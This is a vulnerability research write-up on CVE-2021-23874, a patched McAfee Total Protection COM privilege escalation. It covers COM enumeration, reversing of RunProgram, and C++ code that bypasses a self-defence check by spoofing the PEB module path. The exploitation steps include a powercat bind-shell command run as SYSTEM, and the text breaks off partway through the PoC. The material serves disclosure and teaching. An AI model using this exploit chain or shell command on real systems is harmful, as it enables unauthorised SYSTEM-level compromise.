23 minute read

0x00: Introduction

In February McAffee fixed 2 vulnerabilities (CVE-2021-23874 and CVE-2021-23875) in their flagship consumer anti-virus (AV) product McAfee Total Protection. These issues were local privilige escalations and CVE-2021-23874 was present in McAfee’s COM-object. As it seems to me the topic of hunting bugs in COM-objects isn’t very well covered on the Internet. So this post should fill this gap and show an approach to finding COM-object’s bugs with an example CVE-2021-23874. On the other hand, the post can be considered as a real world walkthrough with OleViewDotNet (OVDN).

0x01: Prerequisites

To successfully reproduce the steps described in the following sections, you need:

  1. McAfee Total Protection 16.0 R28;
  2. OVDN commit 55b5cb0 (and later). An up-to-dated version is necessary, since it fixes bugs that are needed for correct work of used cmdlets, and these fixes haven’t been included in the v1.11 release yet;
  3. OS Windows (any version, but I used 2004 x64);
  4. WinDbg;
  5. IDA Free or any other powerful disassembler.

0x02: Attack Surface Enumeration

If we are hunting for LPE in COM-objects of a specific Product and in this case it is McAfee Total Protection, then we are interested in objects with 3 following characteristics:

  1. COM-objects are installed into the system by this particular Product;
  2. COM-objects are launched out-of-process (OOP) in the context of a privileged user (in this case “NT Authority\System”);
  3. We have access to the COM-object interface from our privilege level.

All 3 characteristics are mandatory, so let’s go in order.

An obvious and pretty simple approach to find the COM-objects installed by product is to take the first snapshot before installation, then install the product, take the second snapshot after installation and compare with each other. This can be done using ASA, but we will do it with OVDN, since it is more scriptable, fast and easy for further research.

To collect an initial snapshot of installed COM-objects we need to run powershell with the specified bitness (in this case x86), import OVDN and type the following commands:

PS C:\> $comDb_old = Get-ComDatabase -PassThru
PS C:\> Set-ComDatabase -Path ComDb_old.db -Database $comDb_old 

The powershell’s bitness is important because of the way the OVDN works: for example, x64 version can collect COM-objects information only from *\SOFTWARE\Classes, and x86 - only from *\SOFTWARE\WOW6432Node\Classes. At the same time, x64 version can parse both x64 and WoW64-processes, and x86 version - only WoW64-processes. Thus, there is no single rule of when and what OVDN of a specific bitness can do, but I can give simple advice to use 32-bit OVDN for 32-bit COM-entries, 64-bit OVDN - for 64-bit entries. And for security research use both versions.

The above commands collect information about registered COM-objects and serialize it to the file ComDb_old.db. Next, we need to install the product. In this case, it is McAfee Total Protection 16.0 R28. And after a successful installation, we collect the database of registered COM-objects again and find the differences with the snapshot collected in the previous step:

PS C:\> $comDb = Get-ComDatabase -PassThru
PS C:\> $comDb_old = Get-ComDatabase -Path ComDb_old.db -PassThru
PS C:\> $comDiff = Compare-ComDatabase -Left $comDb_old -Right $comDb -DiffMode RightOnly

Now we have a list of changes in variable $comDiff and we want to filter them to see OOP COM-objects running under the “NT Authority\System” account and accessible from our privilege level:

PS C:\> $comsAsSystem = $comDiff.AppIDs.Values | `
    Where-Object -FilterScript { $_.IsService -eq $True -or $_.RunAs -ieq "nt authority\system" }
PS C:\> $comsAsSystem | `
    Select-ComAccess -ProcessId (Get-Process -Name explorer).Id -Principal S-1-5-18

Name                     AppID                                IsService  HasPermission
----                     -----                                ---------  -------------
lfsvc                    020fb939-2c8b-4db7-9e90-9527966e38e5 True       True
AppReadiness Service     88283d7c-46f4-47d5-8fc2-db0b5cf0cb54 True       True
Bluetooth AVCTP Service  b98c6eb5-6aa7-471e-b5c5-d04fd677db3b True       True

When in second command we test for accessible COM-objects, we must use the -Principal parameter to replace SELF SID with appropriate SID under which the COM-object will run. As we can see from the command output, there are no McAfee’s COM-objects in the system accessible from our privilege level. And here, in theory, the research could end but if we remember that access in terms of the cmdlet Select-ComAccess means to have rights to launch and access COM-object, then we can try to see objects accessible only for launch:

PS C:\> $comsAsSystem | `
    Select-ComAccess -ProcessId (Get-Process -Name explorer).Id -Principal S-1-5-18 -LaunchAccess ActivateLocal, ExecuteLocal -Access 0

Name                           AppID                                IsService  HasPermission
----                           -----                                ---------  -------------
lfsvc                          020fb939-2c8b-4db7-9e90-9527966e38e5 True       True
Experimentation Broker         2568bfc5-cdbe-4585-b8ae-c403a2a5b84a True       True
netman                         27af75ed-20d9-11d1-b1ce-00805fc1270e True       True
McGenericCacheShim Class       67bc8c92-fa16-4991-9156-9ccba3584e5e True       True
McAfee LAM Repair Class        6be14203-35ad-4380-a10e-e7cb19471e44 False      False
Windows Insider Service        7006698d-2974-4091-a424-85dd0b909e23 True       True
HomeNetSvc                     73779221-6e6e-46d8-927e-63f67390d095 False      False
McAWFwk                        77b97c6a-cd4e-452c-8d99-08a92f1d8c83 True       False
MSC Protection Manager Serv... 7a0bf9a1-9298-48cb-9db4-b167469ebe5c False      False
McAWFwk                        7d555a20-6721-4c54-9713-6a0372868c62 True       False
AppReadiness Service           88283d7c-46f4-47d5-8fc2-db0b5cf0cb54 True       True
McAfee MCODS                   9a949ab4-7f25-4fea-bfe6-efa897d48401 False      False
Bluetooth AVCTP Service        b98c6eb5-6aa7-471e-b5c5-d04fd677db3b True       True
Platform Services Subsystem    ba79a213-d326-4fb8-89eb-deb2d5b82930 False      False
LxpSvc                         bce82fb7-43f4-4827-a503-69e561667293 True       False
McAfee VirusScan Announcer     decbf619-9830-47cd-870e-975f7fbc28bc False      False
OneSetttings Broker            e055b85b-22bd-4e15-a34d-46c58ab320ad True       True
McMPFSvc                       e0ad45ad-96c8-4a6a-891f-cfd9781b7c59 False      False
Feature Usage Listener         eab99738-0adf-4a53-856c-de58afde7682 True       True

Now we see a list of more COM-objects, among which there are objects that clearly belong to the product McAfee Total Protection. Still, we can launch some instances of COM-objects of interest to us. Let’s take one of them, for example with AppId 77b97c6a-cd4e-452c-8d99-08a92f1d8c83, and figure out why there is no full access rights, but there is launch access rights:

PS C:\> $coManageOemAppId = Get-ComAppId -AppId 77b97c6a-cd4e-452c-8d99-08a92f1d8c83
PS C:\> $coManageOemAppId.ClassEntries

Name                CLSID                                DefaultServerName
----                -----                                -----------------
CoManageOem Class   77b97c6a-cd4e-452c-8d99-08a92f1d8c83 <APPID HOSTED>
PS C:\> $coManageOemAppId

Name      AppID                                IsService  HasPermission
----      -----                                ---------  -------------
McAWFwk   77b97c6a-cd4e-452c-8d99-08a92f1d8c83 True       False

The COM-object CoManageOem Class with AppId name McAWFwk uses the default security descriptor. So let’s decode the default launch rights in human-readable form:

PS C:\> Show-ComSecurityDescriptor -SecurityDescriptor $coManageOemAppId.DefaultLaunchPermission

Launch rights for 77b97c6a-cd4e-452c-8d99-08a92f1d8c83

And decode the default access rights:

PS C:\> Show-ComSecurityDescriptor -SecurityDescriptor $coManageOemAppId.DefaultAccessPermission -ShowAccess

Access rights for 77b97c6a-cd4e-452c-8d99-08a92f1d8c83

All right, COM-object’s security descriptor confirms the results obtained from the Select-ComAccess cmdlet.

0x03: COM-object Access Rights Check

In the previous section we saw that we can start the COM-server and get an instance of the implemented COM-object. But then we will not have access rights to call its methods. Obviously, this is not very promising for vulnerability hunting initial data, but still we will try to get a pointer to a COM-object instance:

PS C:\> $coManageOemClass = Get-ComClass -Clsid $coManageOemAppId.ComGuid
PS C:\> New-ComObject -Class $coManageOemClass
Exception calling "CreateInstanceAsObject" with "2" argument(s): "No such interface supported
No such interface supported
"
At C:\...\OleViewDotNet.psm1:1601 char:17
+ ...             $obj = $Class.CreateInstanceAsObject($ClassContext, $Remo ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : InvalidCastException

We cannot create an object because the interface is not supported. Which one? IClassFactory. CreateInstanceAsObject internally uses CoCreateInstance, which encapsulates the following code:

CoGetClassObject(rclsid, dwClsContext, NULL, IID_IClassFactory, &pCF); 
hresult = pCF->CreateInstance(pUnkOuter, riid, ppvObj) 
pCF->Release();

And the error is thrown because, as we’ll see this a little further, the factory doesn’t implement the IClassFactory interface.

Then let’s try to look the interfaces that the COM-object implements:

PS C:\> Get-ComClassInterface $coManageOemClass | Select Name, Iid

Nothing. Here is the same problem as in the previous case. Internally OVDN, to get a list of supported interfaces, creates an object using CoCreateInstance, and then calls QueryInterface for a set of known interfaces, then for all interfaces registered in HKCR\Interface, and then using the IInspectable interface. But since for a successful call to CoCreateInstance it is necessary that the factory implements the IClassFactory interface, it is impossible to create an object and therefore it is impossible to query it for the implementation of other interfaces.

Let’s try to look the interfaces that the COM-object factory implements:

PS C:\> Get-ComClassInterface -Factory $coManageOemClass | Select Name, Iid

Name            Iid
----            ---
IMarshal        00000003-0000-0000-c000-000000000046
IMarshal2       000001cf-0000-0000-c000-000000000046
IUnknown        00000000-0000-0000-c000-000000000046
IMcClassFactory fd542581-722e-45be-bed4-62a1be46af03

IMcClassFactory interface looks interesting. We can quickly see what it is by analyzing the ProxyStub:

PS C:\> Get-ComInterface -Name IMcClassFactory | Get-ComProxy | Format-ComProxy

[Guid("fd542581-722e-45be-bed4-62a1be46af03")]
interface IMcClassFactory : IUnknown {
    HRESULT Proc3(/* Stack Offset: 4 */ [In] int p0, /* Stack Offset: 8 */ [In, Out] /* C:(FC_TOP_LEVEL_CONFORMANCE)(4)(FC_ZERO)(FC_ULONG)(0) */ byte[]* p1, /* Stack Offset: 12 */ [In] GUID* p2, /* Stack Offset: 16 */ [Out] /* iid_is param offset: 12 */ IUnknown** p3);
}

Proc3 declaration is very similar to IClassFactory::CreateInstance. But this is just an observation.

From powershell we can create a factory object and get a pointer to it, thus starting the COM-server:

PS C:\> $coManageOemFactory = New-ComObjectFactory -Class $coManageOemClass
Exception calling "Wrap" with "2" argument(s): "Unable to cast COM object of type 'System.__ComObject' to interface
type 'OleViewDotNet.IClassFactory'. This operation failed because the QueryInterface call on the COM component for the
interface with IID '{00000001-0000-0000-C000-000000000046}' failed due to the following error: No such interface
supported (Exception from HRESULT: 0x80004002 (E_NOINTERFACE))."
At C:\...\OleViewDotNet.psm1:90 char:13
+             [OleViewDotNet.Wrappers.COMWrapperFactory]::Wrap($Object, ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : InvalidCastException

The error occurs because the code inside New-ComObjectFactory is trying to wrap an object in a callable wrapper that implements the IClassFactory interface, but this COM-object doesn’t implement it (as we already know). Let’s try to create object without a wrapper:

PS C:\> $coManageOemFactory = New-ComObjectFactory -Class $coManageOemClass -NoWrapper

Good. We created a factory instance and got a raw pointer to it. This pointer is pretty useless in powershell:

PS C:\> $coManageOemFactory
System.__ComObject

But it is important for us that we have started the server that hosts the COM-object. And now we can investigate the process:

PS C:\> $coManageOemAppId.ServiceName
McAWFwk

The COM-object is hosted in the service McAWFwk, respectively, in the process with the name McAWFwk.exe. And we can see once again (now dynamically), if we have access to the COM-object in the process McAWFwk.exe. For COM-process parsing we use cmdlet Get-ComProcess and for access checking - already known Select-ComAccess:

PS C:\> Get-ComProcess -Name McAWFwk | Select-ComAccess -ProcessId (Get-Process -Name explorer).Id
ProcessId            : 396
ExecutablePath       : C:\Program Files\Common Files\McAfee\ActWiz\McAWFwk.exe
Name                 : McAWFwk
Ipids                : {IPID: 00001000-018c-0000-0e32-16ac744c0ec0 IRundown,
                       IPID: 00008801-018c-ffff-b88b-86753a985eda IRundown,
                       IPID: 00009002-018c-0000-c423-83b6f2efa724 ILocalSystemActivator,
                       IPID: 00008803-018c-0000-a9f7-7cb9cdfdb224 IUnknown}
RunningIpids         : {IPID: 00001000-018c-0000-0e32-16ac744c0ec0 IRundown,
                       IPID: 00008801-018c-ffff-b88b-86753a985eda IRundown,
                       IPID: 00009002-018c-0000-c423-83b6f2efa724 ILocalSystemActivator,
                       IPID: 00008803-018c-0000-a9f7-7cb9cdfdb224 IUnknown}
Is64Bit              : True
AppId                : 7d555a20-6721-4c54-9713-6a0372868c62
AccessPermissions    : D:NO_ACCESS_CONTROL
LRpcPermissions      : D:(A;;0xeff3ffff;;;WD)(A;;0xeff3ffff;;;AN)(A;;GR;;;AC)(A;;GR;;;S-1-15-3-1024-2405443489-874036122-4286035555-1823921565-1746547431-2453885448-3625952902-991631256)
User                 : NT AUTHORITY\SYSTEM
UserSid              : S-1-5-18
...

Select-ComAccess returned the COM-process object, which means that we have access to it from our privilege level. And we can see that COM-object has no access control. But why? We saw in the previous section the prohibitive access rights.

0x04: Bug

In order to understand what is going on, it is enough to attach using a debugger (in this case WinDbg) to the McAWFwk service at its start and set a breakpoint to the beginning of the function CoInitializeSecurity. Having done this, let’s see the parameters passed to the function:

kd> k
 # Child-SP          RetAddr           Call Site
00 000000eb`4f4ffc78 00007ff7`0a2cddc4 combase!CoInitializeSecurity [onecore\com\combase\dcomrem\security.cxx @ 3178] 
01 000000eb`4f4ffc80 00000000`00000208 McAWFwk+0xddc4
02 000000eb`4f4ffc88 000000eb`4f2ff980 0x208
03 000000eb`4f4ffc90 000000eb`4f4ffce0 0x000000eb`4f2ff980
04 000000eb`4f4ffc98 000000eb`4f2ff980 0x000000eb`4f4ffce0
05 000000eb`4f4ffca0 00000000`00000000 0x000000eb`4f2ff980
kd> dv /i
prv param             pVoid = 0x00000000`00000000
prv param          cAuthSvc = 0n-1
prv param         asAuthSvc = 0x00000000`00000000
prv param        pReserved1 = 0x00000000`00000000
prv param      dwAuthnLevel = 0
prv param        dwImpLevel = 3
prv param        pReserved2 = 0x00000000`00000000
prv param    dwCapabilities = 0
prv param        pReserved3 = 0x00000000`00000000
prv local        stackTrace = class ObjectLibrary::ReferencedPtr<StackTrace>
...

The displayed stack is a little bit wrong, but the last frames are correct and that’s enough for us. It is important that the pSecDesc parameter is nullptr and dwCapabilities is also 0. What this means can be found on msdn, but I like the explanation from the book “Inside COM+: Base Services”:

If neither the EOAC_APPID nor EOAC_ACCESS_CONTROL flag is set in the dwCapabilities parameter, CoInitializeSecurity interprets pSecDesc as a pointer to a Win32 security descriptor structure that is used for access checking. If pSecDesc is NULL, no ACL checking is performed.

I.e. the COM-object has a safe default DACL in the registry, which does not allow us to access the object from our privilege level. But at startup the COM-object overrides it and makes itself available to the attacker. It is interesting that this attack surface is absent in static analysis, but appears in dynamic.

Obviously, we get an attack surface that was not foreseen at the design stage. Therefore it becomes very promising to hunting bugs in this component.

0x05: COM-object Implementation RE

The next important question is the functionality that this COM-object implements and exposes. The only way to research this is reverse engineering (RE). And the starting point will be to find out the address of the vtable of the COM-object factory:

PS C:\> (Get-ComProcess -Name McAWFwk -ParseRegisteredClasses).Classes | Format-List
Name         :
Clsid        : 77b97c6a-cd4e-452c-8d99-08a92f1d8c83
ClassEntry   :
ClassFactory : 140702464808720
VTable       : McAWFwk+0x56F78
Apartment    : MTA
RegFlags     : MULTIPLEUSE
Cookie       : 34
ThreadId     : -1
Context      : INPROC_SERVER, LOCAL_SERVER
ProcessID    : 396
ProcessName  : McAWFwk
Registered   : False
Process      : 396 McAWFwk

Name         :
Clsid        : 7d555a20-6721-4c54-9713-6a0372868c62
...

Next we go to the disassembler (in this case IDA) and see the table of virtual methods of the COM-object factory at address McAWFwk+0x56F78:

CoManageOemFactory virtual table

Obviously, we are interested in Proc3. Based on the logic of the factory this function will allow you to create an object - the method presented in the vtable after QueryInterface, AddRef and Release. Here’s a simplified listing of Proc3, which I named CoManageOEMFactory::InternalCreateObjectWrapper:

InternalCreateObjectWrapper listing

The method CoManageOEMFactory::InternalCreateObjectWrapper checks that the call comes from a valid module and delegates the work to Proc4 from CoManageOemFactory vtable. The parameters are passed as-is. Since the COM-object is OOP, our code does not in any way affect the validity of the module from which InternalCreateObjectWrapper is called, and therefore the ValidateModule check will always be successful and will return 0, which will prevent us from getting the ACCESS_DENIED error.

Let’s look at the listing of Proc4 (or as I named it CoManageOEMFactory::InternalCreateObject):

InternalCreateObject listing

As we can see in the above listing, the method calls the McCreateInstance function with the arguments GUID e66d03f6-c1cf-4d8c-997c-fae8763375f6 and IID 9b6c414a-799d-4506-87d1-6eb78d0a3580. Next in the pManageOem argument we get a pointer to the COM-object from which the user-specified interface is queried. Let’s see what happens in the McCreateInstance function:

McCreateInstance listing

McCreateInstance receives a pointer to the IMcClassFactory factory interface of the object, the CLSID of which was passed as an argument, and then, using this factory, creates an object and returns an interface pointer of the specified type to the object. In fact, McCreateInstance is semantically identical to CoCreateInstance, with the difference that the latter uses the IClassFactory interface to create an object, and the former uses IMcClassFactory.

Now it is clear that the method CoManageOEMFactory::InternalCreateObjectWrapper creates within itself an object with CLSID e66d03f6-c1cf-4d8c-997c-fae8763375f6 that implements the IMcClassFactory factory, then queries the specified interface and returns it to the client. Let’s see what kind of object is being created:

PS C:\> $manageOemClass = Get-ComClass -PartialClsid 'e66d03f6'
PS C:\> $manageOemClass

Name             CLSID                                DefaultServerName
----             -----                                -----------------
ManageOem Class  e66d03f6-c1cf-4d8c-997c-fae8763375f6 McDspWrp.dll

PS C:\> Get-ComClassInterface -ClassEntry $manageOemClass
PS C:\> Get-ComClassInterface -ClassEntry $manageOemClass -Factory

Name             IID                                  Module        VTableOffset
----             ---                                  ------        ------------
IUnknown         00000000-0000-0000-c000-000000000046 McDspWrp.dll  1012304
IMcClassFactory  fd542581-722e-45be-bed4-62a1be46af03 McDspWrp.dll  1012304

Again, we cannot get a list of interfaces that the COM-object implements, since its factory doesn’t implement IClassFactory interface. Then let’s see the definition of the interface 9b6c414a-799d-4506-87d1-6eb78d0a3580 that is queried from the COM-object in the method CoManageOEMFactory::InternalCreateObjectWrapper:

PS C:\> Get-ComInterface -PartialIid '9b6c414a'

Name        IID                                  HasProxy  HasTypeLib
----        ---                                  --------  ----------
IManageOem  9b6c414a-799d-4506-87d1-6eb78d0a3580 True      True

For the interface IManageOem, there is a ProxyStub Dynamic-Link Library (DLL), which can be decompiled, and a TypeLib, from which information can be extracted. We use a TypeLib because it contains more information:

PS C:\> $manageOemTypeLib = Get-ComTypeLib -Iid 9b6c414a-799d-4506-87d1-6eb78d0a3580
PS C:\> Get-ComTypeLibAssembly $manageOemTypeLib | Format-ComTypeLib

The output contains many different types, structures and interface definitions from TypeLib, but for us the only interesting thing is the definition of interface IManageOem:

[Guid("9b6c414a-799d-4506-87d1-6eb78d0a3580")]
interface IManageOem : IDispatch
{
   /* Methods */
   string GetTempFileName(string bstrPath);
   tagMCREGIST_RETURN_CODE RunProgram(string bstrExePath, string bstrCmdLine);
   ...
   object RunProgramAndWait(string bstrAppName, string bstrCmdLine);
   object RunProgramAndWaitEx(string bstrAppName, string bstrCmdLine, string bstrWorkingDir);
   ...
   tagMCREGIST_RETURN_CODE RegCreateKey(string bstrKeyPath);
   tagMCREGIST_RETURN_CODE RegDeleteKey(string bstrKeyPath);
   ...
   tagMCREGIST_RETURN_CODE RegSetValue(string bstrKeyPath, string bstrValueName, object vValue);
   tagMCREGIST_RETURN_CODE RegDeleteValue(string bstrKeyPath, string bstrValueName);
   ...
   tagMCREGIST_RETURN_CODE IniWriteValue(string bstrIniFilePath, string bstrSectionName, string bstrKeyName, [Optional] object vValue);
   ...
   bool RemoveFiles(string bstrFilePath);
   ...
   bool CopyFiles(string bstrSourcePath, string bstrDestPath, bool vbFailIfExists);
   bool RemoveFolder(string bstrFolder, bool vbDelSubFolders);
   ...
   bool SetFileAttributes(string bstrFilePath, int lAttributes);
   ...
   void CreateTaskScheduleEntry(string bstrTaskname, object dwNextrun, object dwDefaultFreq);
   void DeleteTask(string bstrTaskname);
   ...
   string ReadFile(string varFilePath, bool bBase64);
   ...
}

The interface IManageOem contains many attractive methods, but only the most promising are shown in the listing above. To find out the address of the function that implements the specific interface method, we must take the following steps:

  1. Attach WinDbg to McAWFwk.exe process and set a breakpoint on the instruction after returning from the McCreateInstance function;
  2. Write and execute client code that will call the CoManageOEMFactory::InternalCreateObject method;
  3. Dump the returned in step 1 memory and find the address of the function by index.

To find the instruction on which to set a breakpoint, we need to disassemble the method CoManageOEMFactory::InternalCreateObject implemented in McAWFwk.exe binary:

InternalCreateObject disasm

Instruction test rcx, rcx at address McAWFwk + 0xc2f1 checks the value of the pointer pManageOem returned from the function McCreateInstance. So, after the successful completion of the function McCreateInstance, the register rcx contains the address of the object, at offset 0 in which address of the first virtual table is located.

Client code that calls the method CoManageOEMFactory::InternalCreateObject is shown below:

class __declspec(uuid("fd542581-722e-45be-bed4-62a1be46af03")) IMcClassFactory :
    public IUnknown
{
public:
    virtual HRESULT __stdcall InternalCreateObject(
        _In_ REFIID riid,
        _COM_Outptr_ void **ppvObject);
};

_COM_SMARTPTR_TYPEDEF(IMcClassFactory, __uuidof(IMcClassFactory));

int main()
{
    try
    {
        HRESULT hr = ::CoInitializeEx(0, COINIT_MULTITHREADED);
        if (FAILED(hr))
            throw std::runtime_error("CoInitializeEx failed. Error: " + std::to_string(hr));
        auto coUninitializeOnExit = wil::scope_exit([] {::CoUninitialize(); });

        const GUID CLSID_CoManageOem =
            { 0x77b97c6a, 0xcd4e, 0x452c, { 0x8d, 0x99, 0x08, 0xa9, 0x2f, 0x1d, 0x8c, 0x83 } };
        IMcClassFactoryPtr pMcClassFactory;

        hr = ::CoGetClassObject(
            CLSID_CoManageOem,
            CLSCTX_LOCAL_SERVER,
            nullptr,
            IID_PPV_ARGS(&pMcClassFactory));
        if (FAILED(hr))
            throw std::runtime_error("CoGetClassObject failed. Error: " + std::to_string(hr));

        IUnknownPtr pManageOem;

        hr = pMcClassFactory->InternalCreateObject(
            __uuidof(pManageOem), reinterpret_cast<LPVOID *>(&pManageOem));
        if (FAILED(hr))
            throw std::runtime_error("InternalCreateObject failed. Error: " + std::to_string(hr));
    }
    catch (const std::exception &e)
    {
        std::cerr << "Exception: " << e.what() << std::endl;
        return -1;
    }

    return 0;
}

The code is self-explained and I think it doesn’t need any comments. But as a result of the execution of the above code, the program ends with the following error: “Exception: InternalCreateObject failed. Error: -2147024891”. Decimal number -2147024891 converts to the more familiar hexadecimal number 0x8007005 (access denied). But where did error come from? We’ve already seen that COM-object permissions allow us to have access to object’s methods. After a bit of debugging I found that the error returns ProxyStub DLL loaded in client’s application. The code preceding the sending request to create an object is similar to the following:

InternalCreateObjectProxy listing

Check is client-side and it’s obvious that it can be bypassed, but since at the moment the primary task is to examine the methods provided by the COM-object, now we will bypass the validation using the debugger capabilities, and a full bypass will be presented in the next section.

Now when we can set a breakpoint, when the object is already completely constructed and can trigger its creation, it remains to dump its virtual function table. After hitting a breakpoint it will look like this:

kd> bp McAWFwk+0xc2f1
kd> g
Breakpoint 0 hit
McAWFwk+0xc2f1:
0033:00007ff6`a764c2f1 4885c9          test    rcx,rcx
kd> dps poi(rcx)
00007ff8`1a126df8  00007ff8`1a04d058 McDspWrp+0x1d058
00007ff8`1a126e00  00007ff8`1a03c354 McDspWrp+0xc354
00007ff8`1a126e08  00007ff8`1a04cff8 McDspWrp+0x1cff8
00007ff8`1a126e10  00007ff8`1a05cb80 McDspWrp+0x2cb80
00007ff8`1a126e18  00007ff8`1a04d0d0 McDspWrp+0x1d0d0
00007ff8`1a126e20  00007ff8`1a04d134 McDspWrp+0x1d134
00007ff8`1a126e28  00007ff8`1a04d140 McDspWrp+0x1d140
00007ff8`1a126e30  00007ff8`1a04d2d4 McDspWrp+0x1d2d4
00007ff8`1a126e38  00007ff8`1a04d358 McDspWrp+0x1d358
00007ff8`1a126e40  00007ff8`1a04d3dc McDspWrp+0x1d3dc
00007ff8`1a126e48  00007ff8`1a04d460 McDspWrp+0x1d460
00007ff8`1a126e50  00007ff8`1a04d614 McDspWrp+0x1d614
00007ff8`1a126e58  00007ff8`1a04d638 McDspWrp+0x1d638
00007ff8`1a126e60  00007ff8`1a04d208 McDspWrp+0x1d208
00007ff8`1a126e68  00007ff8`1a05c168 McDspWrp+0x2c168
00007ff8`1a126e70  00007ff8`1a04d1e8 McDspWrp+0x1d1e8

The interface IManageOem inherits from IDispatch interface. The interface IDispatch defines 7 methods, so it is obvious that the method RunProgram will be the 7th (numbered from 0) in virtual function table, but in practice, this method was only 14th, with an address McDspWrp+0x2c168. I don’t know why this mismatch is, but my guess is that the cmdlet Get-ComTypeLibAssembly isn’t parsing the TypeLib correctly.

Now let’s look at the decompiled method IManageOem::RunProgram that implements ManageOem Class COM-object:

RunProgram listing

The above code takes attacker-controlled exePath and cmdLine and creates the child process without impersonation, from msdn:

The new process runs in the security context of the calling process

Thus, it is obvious that by calling this method a low-privileged user can execute an arbitrary file in the System context (since McAWFwk is a service) and escalate privileges.

Another interesting point is the code on line 20 that looks like a stack buffer overflow vulnerable. Let’s remember that the parameters are attacker-controlled, stack buffer CommandLine has a fixed size of 1040 widechars and wsprintfW writes these strings to the buffer. And if the attacker sends to the input a string longer than 1040 characters, then it is logical to expect that the return address will be overwritten. But this is not the case, since in the wsprintfW description is mentioned that “maximum size of the buffer is 1,024 bytes” and internally the function really does not write beyond 1024, but characters, not bytes.

As a result, we can launch and access the methods of the COM-object CoManageOem Class. This object implements the interface IMcClassFactory and in the method IMcClassFactory::InternalCreateObject returns an COM-object ManageOem Class, that implements the interface IManageOem. Exposed method IManageOem::RunProgram makes it easy to escalate privileges and run an arbitrary process in context “NT Authority\System”. There remains only one problem - self-defense implemented in the ProxyStub, and bypassing this mechanism will be discussed in the next section.

0x06: Self-Defense Bypass

As we saw in the previous section self-defense for COM-object implemented in ProxyStub DLL that is loaded (by design for marshalling parameters) into the address space of the client (attacker-controlled) process. So obviously we can just overwrite our own code to ignore the error returned from the validation function (I named it ValidateModule in the screenshot above). But this approach is not very robust, as the module may be recompiled in further versions of the product, offsets and instructions may change. And I don’t want to support all the older and newer versions. So we must choose a more elegant solution - find a weakness in the code logic.

The validation implemented in the ValidateModule function performs the following two steps:

  • Gets the path to the module from which the proxy is called using a code like (error handling omitted for simplicity):
hProcess = ::OpenProcess(..., ::GetCurrentProcessId());
::EnumProcessModules(hProcess, hModules, ...);

while (true)
{
    ::GetModuleInformation(hProcess, hModules[i], mi, ...);
    if ((mi->lpBaseOfDll <= callerAddress) && (callerAddress - mi->lpBaseOfDll < mi->SizeOfImage))
    {
        ::GetModuleFileNameExW(hProcess, hModules[i], fileName, ...);
        break;
    }

    ++i;
}

return fileName;
  • Validate the module using a function ValidateModule exported from the library vtploader.dll
hLibrary = ::LoadLibrary("vtploader.dll");
ValidateModule = ::GetProcAddress(v9, "ValidateModule");

ValidateModule(fileName);

We can spoof the path to the module from which the call originates, or we can craft the module to pass the check implemented in vtploader!ValidateModule. It is clear that the former is simpler and requires only a modification of the structure in PEB.

Here is the corresponding C++ code to modify the path to the main (our proof-of-concept (PoC) calls the proxy from the main module, so that’s enough ) binary in PEB::Ldr::InMemoryOrderModuleList:

void MasqueradeImagePath(PCWCHAR imagePath)
{
    PROCESS_BASIC_INFORMATION processBasicInformation;
    ULONG processInformationLength;

    auto ntStatus = ::NtQueryInformationProcess(
        ::GetCurrentProcess(),
        ProcessBasicInformation,
        &processBasicInformation,
        sizeof(processBasicInformation),
        &processInformationLength);
    if (!NT_SUCCESS(ntStatus))
        throw std::runtime_error("NtQueryInformationProcess failed. Error: " + std::to_string(ntStatus));

    UNICODE_STRING usImagePath;
    RtlInitUnicodeString(&usImagePath, imagePath);

    auto moduleBase = ::GetModuleHandle(NULL);
    if (!moduleBase)
        throw std::runtime_error("GetModuleHandle failed. Error: " + std::to_string(::GetLastError()));

    auto pPeb = processBasicInformation.PebBaseAddress;
    auto pLdr = pPeb->Ldr;
    auto pLdrHead = &pLdr->InMemoryOrderModuleList;
    auto pLdrNext = pLdrHead->Flink;

    while (pLdrNext != pLdrHead)
    {
        PLDR_DATA_TABLE_ENTRY LdrEntry = CONTAINING_RECORD(pLdrNext, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (LdrEntry->DllBase == moduleBase)
        {
            LdrEntry->FullDllName = usImagePath;
            break;
        }

        pLdrNext = LdrEntry->InMemoryOrderLinks.Flink;
    }
}

Thus, in order to bypass self-defense, it is necessary to call the above function MasqueradeImagePath with path to any McAfee signed binary as argument before the first COM proxy call is made:

constexpr auto McLaunchExePath =
    LR"(C:\Program Files\McAfee\CoreUI\Launch.exe)"; // Your/path/to/Launch.exe
MasqueradeImagePath(McLaunchExePath);

0x07: Exploitation

Summarizing all the steps together, it turns out that for successful exploitation we need to do the following:

  1. Instantiate CoManageOem Class COM-object in McAWFwk service, get a marshalled pointer to it and query IMcClassFactory interface to factory with ::CoGetClassObject(77b97c6a-cd4e-452c-8d99-08a92f1d8c83, …, fd542581-722e-45be-bed4-62a1be46af03, &pMcClassFactory);
  2. Masquarade PEB to bypass ProxyStub check with MasqueradeImagePath;
  3. Create incapsulated COM-object ManageOem Class, get a marshalled pointer to it and query IManageOem interface to object with pMcClassFactory->InternalCreateObject(9b6c414a-799d-4506-87d1-6eb78d0a3580, &pManageOem);
  4. Call IManageOem::RunProgram to run shell bind TCP listener on localhost:12345 with powershell.exe powercat.ps1 with pManageOem->RunProgram(“powershell.exe”, “. .\powercat.ps1;powercat -l -p 12345 -ep”);
  5. Connect to listener and execute shell commands as SYSTEM with . .\powercat.ps1;powercat -c 127.0.0.1 -p 12345.

Here is a shortened version of the code for exploiting the vulnerability, you can see full version of the PoC on the github:

constexpr auto McLaunchExePath =
    LR"(C:\Program Files\McAfee\CoreUI\Launch.exe)"; // Your/path/to/Launch.exe

class __declspec(uuid("fd542581-722e-45be-bed4-62a1be46af03")) IMcClassFactory :
    public IUnknown
{
public:
    virtual HRESULT __stdcall InternalCreateObject(
        _In_ REFIID riid,
        _COM_Outptr_ void **ppvObject);
};

class __declspec(uuid("9b6c414a-799d-4506-87d1-6eb78d0a3580")) IManageOem :
    public IDispatch
{
public:
    virtual HRESULT Proc7(/* Stack Offset: 8 */ /*[Out]*/ BSTR *p0);
    virtual HRESULT Proc8(/* Stack Offset: 8 */ /*[Out]*/ BSTR *p0);
